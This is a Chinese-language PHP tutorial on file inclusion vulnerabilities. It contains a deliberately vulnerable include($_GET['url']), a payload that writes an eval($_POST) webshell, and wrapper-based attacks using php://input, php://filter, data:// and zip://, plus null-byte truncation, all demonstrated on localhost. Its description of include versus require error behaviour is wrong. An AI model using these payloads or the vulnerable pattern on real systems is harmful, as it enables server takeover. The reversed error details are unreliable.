檔案包含漏洞原理淺探
檔案包含
檔案包含是指一個檔案裡面包含另外一個檔案;開發過程中,重複使用的函數會寫入單獨的檔案中,需要使用該函數的時候直接從程式中呼叫該檔案即可,這一個過程就是「檔案包含」
由於檔案包含的功能特性,導致用戶端可以呼叫一個惡意檔案,進行動態呼叫
PHP檔案包含
PHP提供了四個檔案包含函數提供的功能強大且靈活多變,經常存在檔案包含函數
(推薦學習:PHP視訊教學)
include()
無法查到被包含的檔案時產生錯誤"E_COMPLE_ERROR"停止執行
include_once()
和前者一樣,如果檔案中的程式碼已經包含了,則不再會包含
require()
無法查到被包含的檔案是產生警告"E_WARNING"繼續執行
require_once()
和前者一樣,無法查到被包含的檔案是產生警告"E_WARNING"繼續執行
開發演示
<?php include("ArrayUtil.php"); //利用include函數包含 $arr = array("sougou","google","yahoo","baidu","FackBook"); PrintArr($arr); ?>
<?php function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
在index.php檔案中使用include函數檔案包含ArrayUtil.php檔案,在index.php中可以使用ArrayUtil.php檔案中的PrintArr()函數;在index.php第4行我們呼叫了PrintArr()函數。
使用瀏覽器存取index.php
漏洞演示(本地執行)
<?php include("phpinfo.txt"); ?>
<?php phpinfo(); ?>
喏!一個txt檔案被成功包含了;筆者測試了其它各種伺服器可接受的檔案格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何檔案都會以PHP檔案解析,但前提是檔案的內容符合PHP程式碼規範;若內容不符合PHP程式碼規範則會在頁面暴露檔案內容(這是重點)
漏洞演示(遠端執行)
PHP不單單可以在伺服器端(本地)執行檔案包含,也可以遠端執行檔案包含;
遠端的檔案包含執行需要修改PHP.ini組態檔(php預設關閉遠端包含檔案)
allow_url_include = on
由於我們不具備遠端條件,只好本地搭建環境將就一下哈!!!
D:phpStudyphpinfo.txt
<?php phpinfo(); ?>
127.0.0.1/index.php
<?php include("D:phpStudyphpinfo.txt"); ?>
換一個方法
<?php include($_GET['url']); ?>// 記住這個程式碼後面會一直使用
這裡的URL引數值提交的只是一個遠端包含檔案的URL地址;遠端檔案包含和本地檔案包含的解析方法一樣,只要符合PHP程式碼規範就可以按照PHP程式碼解析執行。
如果我們包含的檔案不存在,則會發生Error,網站的路徑就會暴露!
讀取敏感檔案
構造類似http://127.0.0.1/?url=.phpinfo.txt
喏!我們看見了文字內容,為什麼呢?
因為include()函數會執行檔案包含,不管是什麼格式的檔案只要符合PHP程式碼規範的內容就會按照PHP解析;而不符合PHP程式碼規範的則會直接輸出檔案內容。
綜合特性:利用該特性包含檔案的方法,存取原生的其它檔案均會執行php解析或者回顯文字的內容;尤其是系統敏感檔案,例如php.ini組態檔、my.ini組態檔等敏感資訊,而檔案的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)
重要的一點:得具有檔案的操作許可權哦
遠端包含Shell
遠端包含文字的條件是 allow_url_fopen= on
建立shell.txt(功能:在伺服器端本地建立一句話木馬指令碼)
<?php $key= ("<?php @eval($_POST['mirror']);?>");//$符號需要跳脫要按字元存 $file = fopen("shell.php","w"); fwrite($file, $key); fclose($file); ?>
構造:http://127.0.0.1/?url=..xxshell.txt
遠端包含文字執行成功後,伺服器端本地會建立一個"shell.php"一句話木馬執行檔案
shell.php建立後,使用「菜刀」連線一句話:
喏!包含執行檔案建立本地一個shell.php一句話木馬,然後菜刀連木馬!一梭子搞定!
檔案包含配合上傳
利用web應用的上傳功能,上傳一張偽木馬圖片,然後利用檔案包含執行已上傳的圖片,然後偽木馬圖片的功能就是被包含執行後在伺服器端本地建立一個木馬執行php檔案
PHP封裝協定利用
PHP內建很多的PHP封裝協定(詳細見官方文件),封裝協定的功能和檔案函數(fopen(),copy(),file_exists(),filesize())提供的功能相似
allow_url_fopen:on 預設開啟 該選項為on便是啟用了 URL 形式的 fopen 封裝協定使得可以存取 URL 物件檔案等。
allow_url_include:off 預設關閉,該選項為on便是允許 包含URL 物件檔案等
考慮安全都是全部關閉
內建封裝協定
【參照官方文件】
file://協定:
存取本地檔案系統
file://[本地檔案的絕對路徑和檔名]
php://協定:
存取各個IO流
需要開啟 allow_url_include: on
php://stdin:直接存取PHP進程相應的輸入或輸出流(唯讀)
php://stdout:直接存取PHP進程相應的輸入或輸出流(只寫)
php://stderr:直接存取PHP進程相應的輸入或輸出流(只寫)
php://filter:進行任意檔案讀取的利用
php://input:存取請求的原始資料的唯讀流,將post請求中的資料作為php解析
php://output:只寫的資料流,允許print和echo方式寫入到輸出快取中
php://fd: 允許直接存取指定的檔案描述符
更多詳細可以參考官方php://協定文件
zip://協定:
(zip:// , bzip2:// , zlib:// )屬於壓縮流,可以存取壓縮檔案中的子檔案,更重要的是不需要指定字尾名
zip:// [壓縮檔案絕對路徑]#[壓縮檔案內的子檔名]
注意 井字元號 ’ # ‘ 在url中需要轉為 %23
data://協定:
data://text/plain;base64,[string_base64加密後]
glob://協定:
查詢匹配的檔案路徑模式
glob://[url]
<?php // 迴圈 ext/spl/examples/ 目錄裡所有 *.php 檔案 // 並列印檔名和檔案尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FKn", $f->getFilename(), $f->getSize()/1024); } ?>
expect://協定:
處理互動式資料流(預設未開啟,需要安裝PECL—Expect擴充套件)
expect://command
參見文章:php偽協定實現命令執行的七種姿勢
讀取PHP檔案
利用file://讀取檔案內容
file://[本地檔案的絕對路徑和檔名]
利用php://filter讀取php檔案內容
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
這裡的結果是經過Base64加密的
利用php://input:
使用php://input可以執行PHP語句,但是受限於allow_utl_include= On
url text:
http://127.0.0.1/index.php/?url=php://input
Post data:
<?php phpinfo();?>
喏!利用「php://input"執行php程式碼」post data資料內容「,這裡只是回顯phpinfo(),如果我們利用php://input執行伺服器端本地建立php一句話木馬檔案,後果可想而知
利用data://:
受限於allow_utl_include= Onphp.ini設定
?file=[data://text/plain;base64,[base64編碼加密的payload)]
注意沒有php閉合標籤
利用zip://:
?url=zip://C:UsersMirrorDesktop/zip.zip%23shell.php
總結
上面這張圖是筆者從FREEBUF漏斗社群的文章中copy來的,算是一個不錯的總結^_^
截斷包含
magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被跳脫導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html
PHP6/7關閉了magic_quotes_gpc函數: PHP67關閉magic_quotes_gpc對程式的影響
檔案包含的漏洞修復,尤其是include()相關檔案包含函數,只要限制字尾名就好了?
<?php if(iset($_GET['url'])){ include $_GET['url'].".php"; } else{ include 'home.php'; } ?>
上述程式就是固定限制字尾名,使用者只需要指明檔名就可以,不需要使用者提交字尾名
現在我們利用之前的包含手段,包含"shell.php"檔案
http://127.0.0.1/index.php/?url=shell.php
由於程式固定了檔案字尾格式,於是在後台會構成
shell.php.php
而include()無法查詢到「shell.php.php」,故此導致報錯
採用位元組截斷
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2+的版本漸漸的都修復了位元組截斷,所以很少有利用了
筆者不做過多的細節說明^_^
本文來自TW511.COM,php教學欄目,歡迎學習!
以上就是php檔案包含漏洞原理淺探的詳細內容,更多請關注TW511.COM其它相關文章!